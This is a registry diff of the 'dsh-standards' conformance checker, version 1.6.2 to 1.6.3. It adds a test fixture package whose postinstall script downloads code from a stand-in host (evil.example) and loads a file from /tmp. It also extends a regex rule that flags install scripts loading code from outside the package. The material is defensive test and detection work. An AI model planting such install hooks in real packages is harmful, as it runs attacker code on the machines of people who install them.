dsh-standards 1.6.2 → 1.6.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1 @@
1
+ exports.name = 'sec15-install-remote-literal'
@@ -0,0 +1,8 @@
1
+ {
2
+ "name": "@sec-fixture/sec15-install-remote-literal",
3
+ "version": "1.0.0",
4
+ "license": "MIT",
5
+ "main": "index.js",
6
+ "engines": { "dsh": ">=0.2.1-0 <0.3.0" },
7
+ "scripts": { "postinstall": "node scripts/install.js" }
8
+ }
@@ -0,0 +1,6 @@
1
+ const https = require('https')
2
+ https.get('https://evil.example/payload.js', (res) => {
3
+ let body = ''
4
+ res.on('data', (chunk) => { body += chunk })
5
+ res.on('end', () => require('/tmp/payload.js'))
6
+ })
@@ -383,7 +383,7 @@ const SCRIPT_NETWORK = /\b(?:fetch|axios\.(?:get|post)|https?\.(?:get|request))\
383
383
  const SCRIPT_EXECUTE = /\beval\b|\bnew\s+Function\b|\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(|\bvm\.(?:runIn\w+|compileFunction)/
384
384
  // require(<variable>) / import(<variable>): loading code that is not a static
385
385
  // literal. Only dangerous when the same script also downloads or pipes code.
386
- const SCRIPT_DYNAMIC_LOAD = /\brequire\s*\(\s*(?!['"`])[A-Za-z_$]|\bimport\s*\(\s*(?!['"`])[A-Za-z_$]/
386
+ const SCRIPT_DYNAMIC_LOAD = /\brequire\s*\(\s*(?!['"`])[A-Za-z_$]|\bimport\s*\(\s*(?!['"`])[A-Za-z_$]|\b(?:require|import)\s*\(\s*['"`](?:\/|\.\.\/|https?:\/\/)/
387
387
  const SCRIPT_CHILD_DYNAMIC = [
388
388
  /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/,
389
389
  /\b(?:exec|execSync|spawn|spawnSync|execFile|execFileSync)\s*\(\s*[A-Za-z_$][\w$]*\s*[,)]/,
package/CHANGELOG.md CHANGED
@@ -1,3 +1,7 @@
1
+ ## 1.6.3 — 2026-11-07
2
+
3
+ - DSC-15: an install script that downloads code and then loads a literal path outside the package (`require('/tmp/...')`, URL, `../`) now FAILs; the variable form was already covered.
4
+
1
5
  ## 1.6.2 — 2026-11-07
2
6
 
3
7
  ### Fixed
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dsh-standards",
3
- "version": "1.6.2",
3
+ "version": "1.6.3",
4
4
  "description": "DSH plugin standards and conformance checks: ENTRY/FLOW checks plus BOOST guidance. Non-official; no certification or ranking.",
5
5
  "type": "module",
6
6
  "main": "40-checker/src/index.mjs",